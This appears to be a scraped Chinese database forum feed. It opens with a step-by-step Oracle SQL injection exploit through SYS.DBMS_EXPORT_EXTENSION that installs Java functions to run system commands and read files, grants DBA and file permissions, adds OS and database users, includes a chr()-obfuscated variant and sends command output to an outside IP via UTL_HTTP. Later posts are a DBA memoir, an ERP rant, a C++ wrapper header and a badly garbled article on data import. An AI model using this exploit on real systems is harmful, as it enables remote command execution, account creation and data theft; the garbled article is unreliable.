通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual
]]>
與ORACLE一起漂泊的日子http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2502&Page=1wangxinxin2010-12-11 11:03:25我花了3個月的時間找到一份軟件開發的工作,踏入社會的第一份工作,僅僅代表著可憐的薪水和辛苦的加班,唯一的優點就是能在北京,與世界一起跳動,在夢想啟航的地方,我開始埋頭學習,開始拼命積攢能讓我在這個世上立足的資本。那是個面向對象的開發語言剛剛興起的年代,我驚詫于用VB語言開發程序的神奇,它能輕而易舉的開發出與WINDOWS界面一樣漂亮的程序。那時公司的項目大部分是為客戶開發小型的信息管理系統,因此后臺用到的都是ACCESS數據庫,正當我瘋狂補習SQL語句語法的時候,一位公司的同仁突然對我說:有空研究一下Oracle吧,那才是真正的數據庫,是值得你研究一輩子的技術。這是我平生第一次聽說Oracle,當年那位老哥好像只說完這一句話就在我的記憶中消失不見了,現在想來,這或許就是所謂的“命中注定”吧。正因為這句話,在我第二份工作的公司,我主動要求給一個Oracle的DBA當助手,開始了我人生中的Oracle之旅,我的人生目標第一次變得如此清晰,恰如子夜里的一盞明燈,指引著黑暗中原本無助的我——不懈前行。
表空間、控制文件、重做日志等等這些天馬流星般的名詞涌進我的大腦,那時互聯網上的技術文章很少,上網也極其不便,我一邊向前輩請教,一邊暗地里買書學習,那時的書籍也沒有像如今這么豐富,沒有辦法,為了挖掘更多的數據庫知識,只有硬著頭皮閱讀Oracle的幫助文檔。那段時間盡管忙碌,盡管辛苦,但自己卻覺得很充實,因為我已經下定決心做一個DBA。當你滿懷希望的去做某件事時,勞累似乎也不會影響你,我一直認為精神的力量是人類最應該引以為豪的財富。就這樣忙碌了一年,在順利通過OCP認證考試后,我又換了工作,至此,我終于成為了一名專職的DBA。
然而管理數據庫不是研究書本,“紙上得來終覺淺,絕知此事要躬行”,在實際工作中我才真正感覺到Oracle的博大精深,有太多的問題書本上根本從未提及,而這些問題之于Oracle卻如滄海一粟。接下來的任務就是技術水平的提高與進階,不要輕信任何所謂的定理,只能在不斷的實踐中自己總結。比如建立一個RAC數據庫,主機環境的差異、存儲方式的不同都會產生很多不一樣的問題,你只能靜下心來一遍一遍閱讀相關書籍,一遍一遍做實驗,同時在網上查閱相關的文章,把每一步的解決過程都詳細記錄下來,這樣的積累才是屬于你自己的財富。一個好的DBA不在于有多高的理論知識,而在于他遇到并解決過多少問題,這其中還要有一點點的運氣。所謂運氣,就是你要有接觸一些主機和存儲設備的機會,畢竟這些價值不菲的東西不是在任何地方都能讓你碰到的,任何公司都不會愿意你把他們的生產線當成試驗室。
曾經有人問我:什么樣的人適合做數據庫管理員呢?這是一個比較有趣的問題,我自然而然的想到了以下這些字眼:
1.興趣。要有對數據庫本身的興趣,而不是僅把它當成一種謀生手段。
2.謹慎。為人細致,日常對數據庫的操作務必謹慎。
3.負責。對于每天例行公事般的檢查要做到不厭其煩。
4.求知欲。保持對新知識的學習能力,觸類旁通。
以上就是我的一些經歷和心得,倘使能對一些朋友產生一絲積極的影響,幸也
]]>
討論一個問題,國內的sap、oracle為何感覺很垃圾http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2501&Page=1wangxinxin2010-12-11 11:02:08  
oracle和sap一直以來都是管理軟件最高端的產品。
  
但是就管理軟件而言,為什么我感覺用友的nc和金蝶的eas要實用的多呢?
  
而每每招標,oracle和sap總給人不知所云的感覺。
  
比如說行業的ERP解決方案,用友、金蝶總能讓你感覺到信服它,有水平。
而sap和oracle就是不知所云,總是東拉西扯。而且價格貴,實施完的效果都很不理想。
  
比如房地產行業的管理軟件,還有個明源公司,做的管理軟件都很務實,很精細化。
  
但是oracle和sap到底是搞什么的??
它們之所以成為高端,擅長的到底是什么??
  
可否這樣理解?
oracle和sap是好東西,但需要好的實施商慢慢做,才出得了好成果。
  
而國內的那些實施商,都是垃圾。
跟國外的實施商完全無法比。
  
所以才造成了,國內管理軟件市場。
  
用友和金蝶競爭。
  
oracle和sap完全是騙人。]]>
新版DB2 9.7 VS Oracle IT168http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2500&Page=1wangxinxin2010-12-11 11:01:10
以下內容含腳本,或可能導致頁面不正常的代碼
說明:上面顯示的是代碼內容。您可以先檢查過代碼沒問題,或修改之后再運行.
]]>
討論Oracle數據庫的數據導進圓法--IT技術聯盟http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2499&Page=1wangxinxin2010-12-11 10:59:35  示例里解構戰數據散
  為了演示戰比擬各類數據導進圓法,人真訂數據導進免務非將中部白件數據導進到 Oracle 的CALLS里外,中部數據白件包括十萬條吸喊外口忘錄,將遠 6MB 的白件小大,詳細的數據示例如上:
82302284384,2003-04-18:13:18:58,5001,拋訴,腳機三包維建量質
82302284385,2003-04-18:13:18:59,3352,征詢,求火冷線的號碼
82302284386,2003-04-18:13:19:01,3142,修議,刪設母接線道
  交蒙導進數據的里實非 CALLS,里解構如上:
Name Null? Type Comment
------------ --------- ------------- -----------------
CALL_ID NOT NULL NUMBER Primary key
CALL_DATE NOT NULL DATE Non-unique index
EMP_ID NOT NULL NUMBER
CALL_TYPE NOT NULL VARCHAR2(12)
DETAILS VARCHAR2(25)
   逐條數據拔進INSERT
  數據導進的最繁雙圓法便非編寫 INSERT 語句,將數據逐條拔進。那類圓法只合適導進長質數據,如 SQL*Plus 足原創立某個里的類女數據。當圓法的最小短面便非導進快度慢緩,占用了小質的 CPU 處置工夫,沒有合適小批質數據的導進;而其從要劣面便非導進構念繁雙又無建改完美的彈性,沒有需求少做其它的預備便否以運用。假如您無很少工夫出法挨收,又念合磨一上戰 CPU,這那類圓法反合適您。
  為了取其它圓法做比擬,隱將十萬條忘錄經過彼圓法導進到 CALLS 里外,分同長耗 172 秒,其外導進入程占用 CPU 工夫為 52 秒。
  逐條數據拔進 INSERT,里久有索引
  為什么下一類圓法占用了較少的 CPU 處置工夫,閉鍵非 CALLS 里外未創立了索引,該一條數據拔進到里外時,Oracle 需求辨別舊數據取小數據正在索引圓里非可無抵觸,異時要更舊里外的一切索引,沉單更舊索引會長耗必定的工夫。果彼降下導進快度的佳方法便非正在創立里時后沒有創立索引或者者正在導進數據之后增除一切索引,正在中部白件數據逐條拔進到里外先再同一創立里的索引。那樣導進快度會降下,異時創立的索引也很松湊而無效,那一本則異樣失望于位圖索引(Bitmap Index)。對于于從要的戰獨一的閉鍵束縛(key constraints),否以使之后久時得效(disabling)或者者增除束縛去取得異樣的成效,該然那些做法會對于未經亡正在的里的中鍵束縛發生狹小的影響,正在增除后需求通盤推敲。
  需求道亮的非,那類圓法正在里外未亡正在很少數據的狀況上沒有太開適。例如里外未無九千萬條數據,而彼時需求逃減拔進一千萬條數據,真際導進數據儉省的工夫將會被沉舊創立一億條數據的索引所長耗殆盡,那非人們沒有期望失到的解因。但非,假如要導進數據的里非空的或者導進的數據質比未無的數據質要小失少,這么導進數據儉省的工夫將會長質用于沉舊創立索引,那時當圓法才否以思索運用。 減速索引創立非另一個需求思索的答題。為了加長索引創立外排序的農做工夫,否以正在該后會話外刪減 SORT_AREA_SIZE 參數的小大,當參數答應該后會話正在外亡的索引創立功程外施行更少的排序操縱。異樣借否以運用 NOLOGGING 閉鍵字去加長果創立索引而死敗的 REDO 夜志質,NOLOGGING 閉鍵字會對于的復原戰 Standby 備用發生亮隱的影響,所以正在運用之后要細心推敲,究竟非快度劣后借非波動劣后。
  使用那類圓法,后增除 CALLS 里的從鍵戰沒有獨一的索引,然先逐條導進數據,完敗先沉舊創立索引( 里正在導進數據后非空的)。當圓法分同長耗 130 秒,嘉獎沉修索引的工夫,其外導進入程占用 CPU 工夫為 35秒。
  那類圓法的劣面非否以減速導進的快度并使索引愈加松湊無效;短面非短累通用性,該您對于里刪減舊的單純的形式元葷(索引、中鍵等)時您需求加減代碼、建改導進施行順序。另中針對于 7*24 正在線請求的正在線導進操縱時,增除里的索引會對于正在線用戶的查詢無很小的功能影響,異時也要思索,從要或者獨一的閉鍵束縛條件的增除或者得效否能會影響到援用它們的中鍵的運用。
  批質拔進,里久有索引
  正在Oracle V6 外 OCI 編程交心減進了數組交心沉醉。數組操縱答應導進順序讀與中部白件數據并系析先,背降接SQL語句,批質拔進 SQL 語句檢索入的數據。Oracle 僅需求施行一主 SQL 語句,然先正在外亡外批質系析降求的數據。批質導進操縱比逐止拔進沉單操縱更無消失,那非果為只需一主系析 SQL 語句,一些數據綁訂操縱以及順序取之間去來的操縱皆隱著加長,而且對于每一條數據的操縱皆非沉單否知的,那給降求了劣化施行的否能。其劣面非數據導進的分體工夫亮隱加長,特地非入程占用 CPU 的工夫。
  需求降醉的非,經過 OCI 交心的確否以施行數據批質導進操縱,但非很多農具戰足原言語卻沒有收持運用彼過能。假如要運用當圓法,需求研討您所運用的啟收農具非可收持 OCI 批質操縱過能。導進順序需求入止單純的編碼并否能亡正在對誤的風夷,短累必定的彈性。
  使用下述圓法,順序將中部數據降與到外亡外的數組外,并施行批質拔進操縱(100止/主),保存了里的增除/沉修索引操縱,分的導進工夫上落到 14 秒,而入程占用 CPU 的工夫上落到7秒,否睹真際導進數據所破費的工夫隱著上落了 95%。
  CREATE TABLE AS SELECT,運用Oracle9i的External Table
   Oracle 9i 的一項舊沉醉便非 External Table,它便象一般的里一樣,具有字段戰數據類型束縛,并且否以查詢,但非里外的數據卻沒有亡儲正在外,而非正在取狹小聯的一般中部白件外。該您查詢 External Table 時,Oracle 將系析當白件并往來契合條件的數據,便象當數據亡儲正在里外一樣。
   需求留意的非,您否以正在查詢語句外將 External Table 取外其他里入止銜接(Join),但非沒有能給 External Table 減下索引,并且沒有能拔進/更舊/增除數據,究竟它沒有非實反的里。另中,假如取狹小聯的中部白件被改動或者者被增除,那會影響到 External Table 往來查詢解因,所以正在變化后要后和挨招待。
]]>
Oracle上機試驗報告http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2498&Page=1wangxinxin2010-12-11 10:58:44
以下內容含腳本,或可能導致頁面不正常的代碼
說明:上面顯示的是代碼內容。您可以先檢查過代碼沒問題,或修改之后再運行.
]]>
Oracle 數據庫常用方法封裝類http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2497&Page=1wangxinxin2010-12-11 10:53:01#include <stdio.h>
#include <stdlib.h>

#pragma warning (disable:4251)
#pragma warning (disable:4313)

// 配置數據源必須頭文件
#include <odbcinst.h>
/*---------------------------------------------------------------------------*/
/*-------------------------- OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
/*
模塊名稱:OracleDataBaseCtrl.dll
版    本:0.1 Alpha
版    權:
模塊功能:Oracle 數據庫操作類
作    者:wlzqi
作者郵箱:mailto:wlzqin@sina.com
建立時間:2006年7月3日
最后修改:by wlzqi 2006年7月4日
修改歷程:
注意事項:1.支持 UNICODE、ANSI 編碼
    2.當使用 get_collect_value 方法時,如果返回值是 NULL 則會發生異常,請注意處理。
備  注: 測試環境 WinXp + Vc 2003
使用舉例:
  ★// 定義對象
  COracleDataBaseCtrl m_OracleDataBase;
  ★// 1.打開數據庫
  m_OracleDataBase.open_database(數據庫MDB文件路徑, 用戶名, 密碼);   // 如沒有用戶名和密碼可以不寫
  ★// 2.關閉數據庫
  m_OracleDataBase.close_database();
  ★// 3.打開數據庫表
  // m_OracleDataBase.open_table(表名);
  ★// 4.刪除表
  m_OracleDataBase.del_table(表名);
  ★// 5.關閉數據庫表
  m_OracleDataBase.close_table();
  ★// 6.遍歷數據庫表
  PTSTR ptTableName;
  for (bool bfOk = m_OracleDataBase.first_table_name(ptTableName); bfOk; bfOk = m_OracleDataBase.next_table_name(ptTableName)) {
   if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) == 0) continue;
   // 得到表名
   MessageBox(ptTableName);
  }
  ★// 7.添加字段
  m_OracleDataBase.add_field(表名, 字段);  // 字段形式 _TEXT(\\\"Field1 INTEGER, Field2 INTEGER, ...\\\")
  ★// 8.刪除字段
  m_OracleDataBase.del_field(表名, 字段名);
  ★// 9.獲取字段數量
  int nFieldCount = m_OracleDataBase.get_field_count(表名);
  ★// 10.遍歷字段
  for (int i = 0; i < nFieldCount; i++) {
   PCTSTR pctFieldName = m_OracleDataBase.get_field_name(i, 表名);
   MessageBox(pctFieldName);
  }
  ★// 11.獲取字段類型
  DataTypeEnum FieldType;
  m_OracleDataBase.get_field_type(字段號, FieldType);  // 字段號:字段的序號(從 0 開始)
  ★// 12.執行 SQL 語句
  m_OracleDataBase.execute_sql(SQL 語句);
  ★// 13.獲取數據庫內容
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT * FROM 表名\\\"));  // 查詢所有數據
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT COUNT(*) FROM 表名\\\"));  // 得到數據庫記錄條數
  _variant_t vtItemCount = m_OracleDataBase.get_collect_value(long(0));
  _bstr_t bsValue = vtItemCount;  // 將結果格式化為字符串
  ★// 14.遍歷數據庫所有內容
  TCHAR szSQL[MAX_PATH];
  _stprintf(szSQL, _TEXT(\\\"SELECT * FROM %s\\\"), ptTableName);  // 格式化 SQL 語句
  m_OracleDataBase.execute_sql(szSQL);   // 執行 SQL 語句
  m_OracleDataBase.first();  // 將游標移動到第一條數據
  _bstr_t bsValue;
  for (int i = 0; i < vtItemCount.intVal; i++) {    // 循環所用行
   if (m_OracleDataBase.Is_BOF() == 1) break;   // 如到了表最后則退出循環
   for (int j = 0; j < nFieldCount; j++) {   // 循環所有列
    variant_t vtValue = m_OracleDataBase.get_collect_value(long(j));  // 格式化得到的每列數據為字符串
    bsValue = _bstr_t(vtValue.vt == VT_NULL ? _TEXT(\\\"\\\") : vtValue.vt);
   }
   bfOk = m_AccessDataBaseCtrl.next();   // 移動到下一列
  }
  ★// 15.刪除當前行
  m_OracleDataBase.del_collect_value();
  ★// 16.注冊數據庫
  COracleDataBaseCtrl::Configuration_DataBaseSource(DNS, 數據庫DB文件路徑, 描述);
  ★// 17.其它還有一些請參:OracleDataBaseCtrl.h 文件
  ★// 18.反注冊 COM   CoUninitialize();
*/
#pragma once

#pragma warning(disable:4146)
#import \\\"c:\\\\Program Files\\\\Common Files\\\\System\\\\ado\\\\Msado15.dll\\\" \\\\
no_namespace \\\\
rename (_TEXT(\\\"EOF\\\"), _TEXT(\\\"adoEOF\\\"))
#pragma warning(default:4146 )
 
 
#ifdef ORACLEDATABASECTRL_EXPORTS
#define ORACLEDATABASECTRL_API __declspec(dllexport)
#else
#define ORACLEDATABASECTRL_API __declspec(dllimport)
#endif
 

// 此類是從 OracleDataBaseCtrl.dll 導出的
class ORACLEDATABASECTRL_API COracleDataBaseCtrl {
public:
 COracleDataBaseCtrl(void);
 // TODO: 在此添加您的方法。
 ~COracleDataBaseCtrl();
 //****************************************************************************
private:
 _ConnectionPtr m_pConnection;
 _RecordsetPtr m_pRecordset;
 HRESULT hr;
 //****************************************************************************
public:
 // 打開數據庫
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_database(PCTSTR pctsUser, PCTSTR pctsPass, PCTSTR pctsServer, long Options = adModeUnknown);
 // 斷開數據庫
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_database();
 //****************************************************************************
 // 打開表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 關閉表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_table();
 // 創建表創建表和字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT create_table(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 添加字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT add_field(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_field(PCTSTR pctsTableName, PCTSTR pctsFieldName, long Options = adCmdText);
 // 得到表的字段數量
 unsigned long get_field_count(PCTSTR pctsTableName);
 // 得到表的字段名
 PCTSTR get_field_name(unsigned long unFieldIndex, PCTSTR pctsTableName);
 // 得到字段的類型
 // 參數:pFieldType [OUT] 字段類型
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT get_field_type(unsigned long unFieldIndex, DataTypeEnum &FieldType);
 // 遍歷所有表名(第一個)
 // 參數:ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯或遍歷完畢
 bool first_table_name(PTSTR &ptsTableName);
 // 遍歷所有表名(下一個)
